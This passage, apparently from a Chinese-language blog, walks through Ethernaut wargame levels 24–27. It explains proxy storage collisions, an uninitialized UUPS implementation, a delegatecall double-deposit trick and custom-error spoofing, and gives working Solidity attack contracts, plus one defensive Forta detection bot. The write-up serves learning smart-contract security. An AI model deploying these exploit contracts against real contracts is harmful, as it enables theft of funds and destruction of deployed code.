  • 它有权限控制:只有 whitelisted 用户能操作,只有 owner 能加白名单。
  • 它有一个特殊的 setMaxBalance 功能,要求余额为 0 才能调用。
  • 它提供了一个高级功能 multicall,允许批量操作,并试图防止滥用 deposit

3. 两个合约的关系

当用户与 PuzzleProxy 交互时:

  1. 如果调用的是 proposeNewAdminupgradeTo,直接在 PuzzleProxy 中执行。
  2. 如果调用的是 depositexecute(Proxy 里没有的函数),Proxy 会通过 delegatecall 把请求转发给 PuzzleWallet 的代码执行。
  3. 关键点:PuzzleWallet 的代码运行时,读写的是 PuzzleProxy的存储空间(Storage)。
    • Wallet 读写 owner (Slot 0) -> 实际上读写的是 Proxy 的 pendingAdmin (Slot 0)。
    • Wallet 读写 maxBalance (Slot 1) -> 实际上读写的是 Proxy 的 admin (Slot 1)。

这道题(Puzzle Wallet)是一个非常经典的存储冲突(Storage Collision)和Delegatecall 漏洞的组合拳。

核心漏洞分析

1. 存储冲突 (Storage Collision)

在 Solidity 中,代理合约(Proxy)和逻辑合约(Implementation)共享同一个存储空间(Storage)。如果它们的变量定义顺序不同,就会发生“张冠李戴”的情况。

对比一下两个合约的变量布局:

Slot PuzzleProxy (代理) PuzzleWallet (逻辑) 后果
Slot 0 pendingAdmin owner 修改 pendingAdmin = 修改 owner
Slot 1 admin maxBalance 修改 maxBalance = 修改 admin
  • 目标:我们要成为 admin(Slot 1)。
  • 路径:我们需要调用 PuzzleWalletsetMaxBalance 函数,写入 Slot 1。
  • 阻碍setMaxBalance 要求 address(this).balance == 0(合约余额必须为 0)。

2. 权限绕过

要调用 setMaxBalance,你需要先被白名单(Whitelisted)
要被白名单,你需要是 owner

  • 利用 Slot 0 冲突
    PuzzleProxy 有一个函数 proposeNewAdmin(address _newAdmin),它会修改 pendingAdmin(Slot 0)。
    由于 Slot 0 对应 PuzzleWalletowner只要我们调用 proposeNewAdmin(player),我们就变成了 owner!

3. 资金耗尽 (Drain)

现在我们是 Owner 且在白名单里了,但还需要把合约里的钱(Lunch Money)取光,才能满足 address(this).balance == 0

  • 利用 Multicall 漏洞

    multicall函数允许批量执行操作。它有一个检查 depositCalled 来防止在一次调用中多次 deposit

    (重放msg.value)。

    1
    2
    3
    4
    if (selector == this.deposit.selector) {
    require(!depositCalled, "Deposit can only be called once");
    depositCalled = true;
    }

    但是,这个检查只在当前函数执行上下文中有效。如果我们嵌套调用 multicall,内部的 multicall 会开启一个新的上下文,depositCalled 变量会被重置。
    由于 delegatecall 会保留 msg.value,我们可以用同一笔钱存两次款!

攻击步骤

  1. 成为 Owner:调用 proposeNewAdmin(player)。这会把 Proxy 的 pendingAdmin 设为你,也就是把 Wallet 的 owner 设为你。
  2. 加入白名单:调用 addToWhitelist(player)
  3. 利用 Multicall 提权余额:
    • 假设合约里有 0.001 ETH。
    • 我们发起一个 multicall,包含两个操作:
      1. deposit()
      2. multicall([deposit()]) (嵌套调用)
    • 我们发送 0.001 ETH。
    • 第一次 deposit:记录余额 +0.001。
    • 第二次 deposit(在嵌套的 multicall 里):再次记录余额 +0.001(使用的是同一笔 msg.value)。
    • 结果:我们只发了 0.001 ETH,但账本上记了 0.002 ETH。
  4. 取款:调用 execute 取走 0.002 ETH。这会把合约原本的 0.001 ETH 和我们存进去的 0.001 ETH 全部取走。合约余额归零。
  5. 成为 Admin:调用 setMaxBalance(uint256(player))。这会修改 Slot 1,也就是 Proxy 的 admin

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPuzzle {
function proposeNewAdmin(address _newAdmin) external;
function addToWhitelist(address addr) external;
function deposit() external payable;
function multicall(bytes[] calldata data) external payable;
function execute(address to, uint256 value, bytes calldata data) external payable;
function setMaxBalance(uint256 _maxBalance) external;
function admin() external view returns (address);
}

contract PuzzleAttack {
IPuzzle target;

constructor(address _target) {
target = IPuzzle(_target);
}

function attack() external payable {
// 1. 利用 Slot 0 冲突成为 Owner
// proposeNewAdmin 修改 pendingAdmin (Slot 0),对应 Wallet 的 owner
target.proposeNewAdmin(address(this));

// 2. 把自己加入白名单
target.addToWhitelist(address(this));

// 3. 准备掏空合约
// 获取合约当前余额
uint256 contractBalance = address(target).balance;

// 构造嵌套的 multicall 数据
// 结构: [deposit, multicall([deposit])]
bytes[] memory depositData = new bytes[](1);
depositData[0] = abi.encodeWithSelector(target.deposit.selector);

bytes[] memory data = new bytes[](2);
data[0] = abi.encodeWithSelector(target.deposit.selector);
data[1] = abi.encodeWithSelector(target.multicall.selector, depositData);

// 执行 multicall
// 发送与合约余额相等的 ETH,这样我们可以获得 2倍 的记账余额
target.multicall{value: contractBalance}(data);

// 现在我们在合约里的余额是 2 * contractBalance
// 合约的总余额也是 2 * contractBalance (原本的 + 我们转入的)
// 我们全部取走,让合约余额归零
target.execute(msg.sender, 2 * contractBalance, "");

// 4. 利用 Slot 1 冲突成为 Admin
// setMaxBalance 修改 maxBalance (Slot 1),对应 Proxy 的 admin
target.setMaxBalance(uint256(uint160(msg.sender)));
}

// 接收退回的 ETH
receive() external payable {}
}

下面对上述攻击合约中的代码进行解释

  1. 什么是 abi.encodeWithSelector

在以太坊中,当你调用一个函数时,你需要把“我要调用哪个函数”和“参数是什么”打包成一串二进制数据发给合约。

  • target.deposit.selector: 这是函数的“身份证号”(前 4 个字节)。比如 deposit() 的身份证号可能是 0xd0e30db0
  • abi.encodeWithSelector(…): 这是一个打包工具。它把“身份证号”和“参数”拼在一起,变成一串 bytes(字节数组)。

比喻
你想寄信给合约。

  • selector 是收件人名字(“Deposit 部门”)。
  • abi.encode... 就是把信纸折好,塞进信封,写上收件人。
  1. 为什么要构造 bytes[] 数组?

因为目标函数 multicall 的定义是这样的:

1
function multicall(bytes[] calldata data) ...

它接收一个信封数组。也就是说,你可以一次性给它发好几封信,它会一封封拆开执行。

  1. 代码逐行解析

第一步:准备内层信封 (depositData)

1
2
3
4
5
// 创建一个长度为 1 的数组,用来装内层的信封
bytes[] memory depositData = new bytes[](1);

// 第一封信:内容是 "调用 deposit()"
depositData[0] = abi.encodeWithSelector(target.deposit.selector);

第二步:准备外层信封 (data)

1
2
3
4
5
6
7
8
9
// 创建一个长度为 2 的数组,用来装外层的信封
bytes[] memory data = new bytes[](2);

// 第一封信:内容是 "调用 deposit()"
data[0] = abi.encodeWithSelector(target.deposit.selector);

// 第二封信:内容是 "调用 multicall(depositData)"
// 注意:这里把上面准备好的 depositData 作为参数传进去了!
data[1] = abi.encodeWithSelector(target.multicall.selector, depositData);
  • 含义:我们准备了一个更大的任务列表,里面有两个任务:
    1. 存钱。
    2. 执行“批量任务”(而这个批量任务的内容又是“存钱”)。

第三步:发送 (target.multicall)

1
target.multicall{value: contractBalance}(data);
  • 含义:我们把这个包含两封信的大信封发给合约,并附带了 contractBalance 这么多钱
  1. 为什么要这么绕?(嵌套调用的目的)

为了绕过合约里的安全检查:

1
2
3
4
5
6
7
// 合约里的检查逻辑
bool depositCalled = false; // 每次函数开始时,这个开关是关着的

if (调用的是 deposit) {
require(!depositCalled); // 必须没存过钱
depositCalled = true; // 打开开关,标记已存过
}

如果我们直接发 [deposit, deposit]

  1. 执行第一个 deposit -> 开关打开 (true)。
  2. 执行第二个 deposit -> 检查开关 -> 发现是 true -> 报错!

如果我们发 [deposit, multicall([deposit])]

  1. 执行第一个 deposit -> 外层开关打开 (true)。
  2. 执行第二个任务 multicall->进入了一个新的函数环境!
    • 在这个新环境里,有一个全新的 depositCalled 开关,它是关着的 (false)!
    • 执行内层 deposit -> 检查内层开关 -> 是 false -> 通过!

这就是嵌套调用的魔力:它利用了 delegatecall 保持 msg.value 不变,但重新初始化局部变量的特性,实现了“花一份钱,存两次款”。

注意事项:

问题:attack 交易失败

  • 关键检查:调用 attack 时,Value (ETH) 填了吗?
  • 回顾代码:target.multicall{value: contractBalance}(data);
  • 如果 PuzzleWallet 里有 0.001 ETH,你调用 attack必须在 Remix 的 Value 栏填入 0.001 Ether
  • 如果你填的是 0,交易会因为 multicall 里的逻辑或者后续的 execute 余额不足而 Revert。

如何确认当前合约余额?
在 Ethernaut 控制台输入:

1
2
await getBalance(contract.address)
'0.001'

nipaste_2025-12-20_00-24-4

25. Motorbike

Ethernaut’s motorbike has a brand new upgradeable engine design.

Would you be able to selfdestruct its engine and make the motorbike unusable ?

Things that might help:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

UUPS

1. UUPS 的核心思想:逻辑合约管升级

在传统的代理模式(如 Transparent Proxy)中,升级逻辑写在“代理合约”里。而在 UUPS 中,升级函数(如 upgradeToAndCall)写在“逻辑合约”里。

这意味着:

  • **代理合约 (Motorbike)**:非常简单,只负责 delegatecall 转发。
  • **逻辑合约 (Engine)**:除了业务逻辑,还要负责检查调用者是否有权升级,并执行升级。

2. 为什么需要 UUPS?(优势)

  1. 更省 Gas:在 Transparent Proxy 模式中,每次调用都要检查调用者是不是管理员,这非常耗油。而在 UUPS 中,升级逻辑在逻辑合约里,普通业务调用不需要经过多余的权限检查。
  2. 可定制性强:你可以随时改变升级规则。比如 V1 版本需要 1 个人签名升级,V2 版本可以改成需要 3 个人签名,因为升级逻辑本身就是可以升级的代码。
  3. 代理合约体积更小:代理合约不需要复杂的逻辑,部署成本更低。

3. UUPS 的致命风险(也是本题的考点)

UUPS 虽然高效,但它带来了一个巨大的风险:“自断生路”

风险 A:忘记写升级函数

如果你升级到一个新的逻辑合约,但这个新合约里漏写upgradeTo 函数,那么这个合约就永远锁死了,再也无法升级。

风险 B:逻辑合约被销毁 (本题的核心)

由于升级逻辑在逻辑合约里,代理合约必须依靠逻辑合约才能进行下一次升级。

  • 如果逻辑合约被 selfdestruct 删除了。
  • 代理合约依然指向那个地址,但那个地址现在是空的(没有代码)。
  • 代理合约就变成了废铁,因为它失去了“大脑”,也没法通过升级找回“大脑”。

EIP-1967

EIP-1967 是以太坊的一个标准,全称是 **”Standard Proxy Storage Slots”**(标准代理存储槽位)。

简单来说,它规定了在代理模式(Proxy Pattern)中,一些关键信息(如逻辑合约地址、管理员地址)应该存放在存储空间的什么位置。

为什么要制定这个标准?(解决冲突)

在 EIP-1967 出现之前,不同的代理合约会把逻辑合约地址存放在不同的槽位(比如有的存在 Slot 0,有的存在 Slot 100)。这会导致两个严重问题:

  1. **存储冲突 (Storage Collision)**:逻辑合约里的业务变量(如你的 horsePower)如果正好也想用 Slot 0,就会把代理合约里的逻辑地址覆盖掉,导致合约崩溃。
  2. 浏览器/工具不兼容:像 Etherscan 这样的区块链浏览器不知道去哪读取逻辑合约地址,所以它无法帮你自动关联并显示逻辑合约的代码。

EIP-1967 就像是一个“公共寄存物柜标准”:它规定了所有代理合约必须把“钥匙”(逻辑合约地址)放在“第 99999 号柜子”里。这样不仅安全(不会被别人乱放的衣服盖住),而且保安(浏览器)一眼就能找到钥匙在哪里。

核心漏洞分析

要使这辆摩托车(Motorbike)无法使用,你需要利用 UUPS 模式中的一个经典漏洞:逻辑合约(Engine)本身未被初始化

在 UUPS 代理模式中,Motorbike 是代理合约,Engine 是逻辑合约。虽然 Motorbike 在构造函数中通过 delegatecall 调用了 Engineinitialize(),但这只初始化了 代理合约(Motorbike) 的存储空间。

逻辑合约(Engine)合约地址本身 的存储空间仍然是空的(upgraderaddress(0))。这意味着任何人都可以直接调用 Engine 地址上的 initialize() 函数,成为其管理员(upgrader)。

攻击步骤

  1. 获取 Engine 地址
    实现合约的地址存储在 Motorbike 合约的 EIP-1967 实现槽位中:0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    可以使用 Web3.js 或 Ethers.js 读取该存储槽的值:
    web3.eth.getStorageAt(motorbikeAddress, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")

  2. 部署攻击合约

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    interface IEngine {
    function initialize() external;
    function upgradeToAndCall(address newImplementation, bytes calldata data) external payable;
    }

    contract MotorbikeAttack {
    function attack(address engineAddress) external {
    // 第一步:直接初始化 Engine 合约,让自己成为它的 upgrader
    IEngine(engineAddress).initialize();

    // 第二步:通过 upgradeToAndCall 触发 delegatecall 调用自己的 kill 函数
    IEngine(engineAddress).upgradeToAndCall(
    address(this),
    abi.encodeWithSignature("kill()")
    );
    }

    function kill() external {
    // 由于是 Engine 通过 delegatecall 调用,这里的 selfdestruct 会销毁 Engine 的代码
    selfdestruct(payable(msg.sender));
    }
    }

3. 执行攻击

  • 调用攻击合约的 attack(engineAddress) 函数。
  • Engine.initialize() 执行后,攻击合约成为 Engine 的权限拥有者。
  • Engine.upgradeToAndCall(attackContract, "kill()") 会在 Engine 的上下文中执行 attackContract.kill()
  • 执行 selfdestruct 后,Engine 合约的代码将被从区块链上移除。

最终结果如下:

nipaste_2026-01-13_22-12-1

其中upgrader(getStorageAt(engineAddr, 0))成功被修改为我们的合约地址。

nipaste_2026-01-13_22-13-4

但是注意到最后结果并没有通过关卡,是因为 engine 合约没有自毁,合约字节码依然不为 0。

nipaste_2026-01-13_22-16-5

这是因为:

selfdestruct 的局限性 (Dencun 升级)

在以太坊 Dencun (Cancun) 升级 之后,selfdestruct 的行为发生了重大变化:

  • 新规则:除非合约是在同一个交易中创建并销毁的,否则 selfdestruct 只会转移资金,不会删除字节码
  • 后果:由于 Engine 合约早已存在,你的 attack 交易虽然执行成功了,但 Engine 的代码可能依然留在链上。

26. DoubleEntryPoint

This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can’t be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.

The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.

In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.

The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot’s implementation will need to raise correct alerts to prevent potential attacks or bug exploits.

Things that might help:

  • How does a double entry point work for a token contract?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if (address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if (address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(address to, uint256 value, address origSender)
public
override
onlyDelegateFrom
fortaNotify
returns (bool)
{
_transfer(origSender, to, value);
return true;
}
}

double entry

这个 CryptoVault 合约的设计目标是一个“资产回收站”。在 DeFi 项目中,经常会有用户误将代币转入合约地址,因此开发者通常会写一个 sweepToken 函数来提取这些“被困”的代币。

可以将这个合约的功能拆解为:保护核心资产清理杂质资产

1. 核心状态变量

address public sweptTokensRecipient;

  • 接收人:清理出来的代币发往哪里

IERC20 public underlying;

  • underlying 是合约的“保险柜底座”,它存储了该合约业务逻辑中最关键的代币(在这个关卡里指 DET 代币)。

2. 初始化核心代币 (setUnderlying)

1
2
3
4
function setUnderlying(address latestToken) public {    
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
  • 唯一性检查:通过 address(underlying) == address(0) 确保这个核心代币地址只能被设置一次。一旦设置,就不可更改,防止后续有人通过修改核心资产地址来“监守自盗”。

3. 核心功能:清理代币 (sweepToken)

这是合约中逻辑最重的地方,也是漏洞点所在:

1
2
3
4
5
6
7
function sweepToken(IERC20 token) public {
// 【第一步:安全过滤】
require(token != underlying, "Can't transfer underlying token");

// 【第二步:余额提取】
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}

逻辑拆解:

  1. 参数 token:调用者传入想要清理掉的代币合约地址。
  2. require 检查
    • 预期逻辑:如果你传入的是核心代币 underlying(即 DET),交易会报错,保护资产。
    • 潜在风险:它只检查了“地址是否相同”,而没有检查“逻辑是否关联”
  3. token.transfer
    • 合约会查询自己在传入的 token 合约里的余额。
    • 然后将全部余额转给预设的接收人 sweptTokensRecipient

4. 为什么这段代码“看起来安全,实际危险”?

可以用一个形象的比喻:

  • 金库的防御:大门(underlying 地址)被锁死了,谁也搬不走。
  • 黑客的攻击:黑客发现金库还有一个隐藏的侧门(LegacyToken 地址)。
  • 漏洞发生
    1. 攻击者调用 sweepToken(LegacyToken)
    2. CryptoVault 检查:侧门(LGT)的地址确实不等于大门(DET)的地址,检查通过
    3. CryptoVault 执行 LGT.transfer(...)
    4. 致命一击:因为 LGT 内部是代理模式,它偷偷跑去修改了 DET(核心资产)的账本,把 DET 转走了。

漏洞分析

首先获取 cryptoVault 和 forta 的合约地址。cryptoVault 用于在 bot 中加入逻辑判断,当发现如果原始发送者是 Vault 且正在尝试提取代币,则发起警告。forta 用于设置 detectionBot 的地址。

nipaste_2026-01-14_17-45-3

AlertBot

部署 bot 用来检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @dev Forta 合约要求的机器人接口
*/
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

/**
* @dev Forta 合约的报警接口
*/
interface IForta {
function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
// 之前日志中查询到的 CryptoVault 地址
address public immutable vaultAddress;

constructor(address _vaultAddress) {
vaultAddress = _vaultAddress;
}

/**
* @dev 当 DoubleEntryPoint 执行带有 fortaNotify 的函数时会触发此回调
* msgData 实际上是 delegateTransfer(address to, uint256 value, address origSender) 的完整调用数据
*/
function handleTransaction(address user, bytes calldata msgData) external override {
// delegateTransfer 的 calldata 布局:
// 0-3: 函数签名 (4 bytes)
// 4-35: to 地址 (32 bytes)
// 36-67: value 数值 (32 bytes)
// 68-99: origSender 地址 (32 bytes) <- 我们要监控的对象

address origSender;

// 使用 assembly 从 bytes calldata 中高效提取指定位置的地址
assembly {
// msgData.offset 指向 bytes 内容的起始位置
// 我们跳过前 68 字节(4 字节签名 + 2 * 32 字节参数)
origSender := calldataload(add(msgData.offset, 68))
}

// 如果原始发送者是 Vault 且正在尝试提取代币
if (origSender == vaultAddress) {
// msg.sender 是 Forta 合约,向其报告异常
IForta(msg.sender).raiseAlert(user);
}
}
}

nipaste_2026-01-14_17-53-1

1
2
3
4
5
6
const fortaAddr = '0x1303Ad3d77320DfC0eB64898E82d9bf2896640bA';
const fortaAbi = [{"inputs":[{"internalType":"address","name":"detectionBotAddress","type":"address"}],"name":"setDetectionBot","outputs":[],"stateMutability":"nonpayable","type":"function"}];
const fortaContract = new web3.eth.Contract(fortaAbi, fortaAddr);

// 执行注册
await fortaContract.methods.setDetectionBot("NEW_BOT_ADDR").send({ from: player });

终端设置bot后进行提交,最终结果如下:

nipaste_2026-01-14_17-54-1

27. Good Samaritan

Solidity Custom Errors

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

Would you be able to drain all the balance from his Wallet?

Things that might help:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

这是一个经典的 Solidity 漏洞利用场景,利用了 自定义错误(Custom Errors)的冒泡(Bubbling)机制控制流劫持

要抽干(Drain)这个钱包,我们需要利用 GoodSamaritan 合约中 try-catch 块对错误类型的判断逻辑。

核心漏洞原理

  1. 控制流劫持:在 Coin.transfer 函数中,如果接收者是一个合约,它会调用接收者的 notify(amount) 函数。这给了攻击者执行恶意代码的机会。
  2. 自定义错误冒泡:当你在 notify 中触发 revert 时,这个错误会沿着调用栈向上传播(冒泡)。
  3. 错误类型欺骗GoodSamaritanrequestDonation 函数会捕获错误。如果捕获到的错误是 NotEnoughBalance(),它会误以为是钱包余额不足,从而触发 wallet.transferRemainder所有余额发给请求者。

编写一个攻击合约,实现 INotifyable 接口,并在 notify 函数中主动抛出 NotEnoughBalance() 错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

// 定义与目标相同的错误,确保 selector 一致
error NotEnoughBalance();

interface IGoodSamaritan {
function requestDonation() external returns (bool);
}

contract Attacker {
IGoodSamaritan public target;

constructor(address _target) {
target = IGoodSamaritan(_target);
}

// 攻击入口
function attack() external {
target.requestDonation();
}

// 实现 INotifyable 接口
function notify(uint256 amount) external pure {
// 关键逻辑:
// 第一次捐赠 10 个币时,我们手动抛出 NotEnoughBalance 错误
// 这会欺骗 GoodSamaritan 合约进入 catch 块
// 但我们需要判断 amount,防止在第二次 transferRemainder 时又 revert 导致交易失败
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}

部署该合约后,执行 attack 函数即可触发攻击,通过如下命令可以在控制台查看余额:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 1. 获取 Coin 地址
const coinAddr = await contract.coin();
const walletAddr = await contract.wallet();

// 2. 定义简易 ABI (Web3.js 格式)
const minABI = [
{
"constant": true,
"inputs": [{"name": "_owner", "type": "address"}],
"name": "balances",
"outputs": [{"name": "balance", "type": "uint256"}],
"type": "function"
}
];

// 3. 创建合约实例
const coinContract = new web3.eth.Contract(minABI, coinAddr);

// 4. 查询余额
const walletBal = await coinContract.methods.balances(walletAddr).call();
const playerBal = await coinContract.methods.balances(player).call();

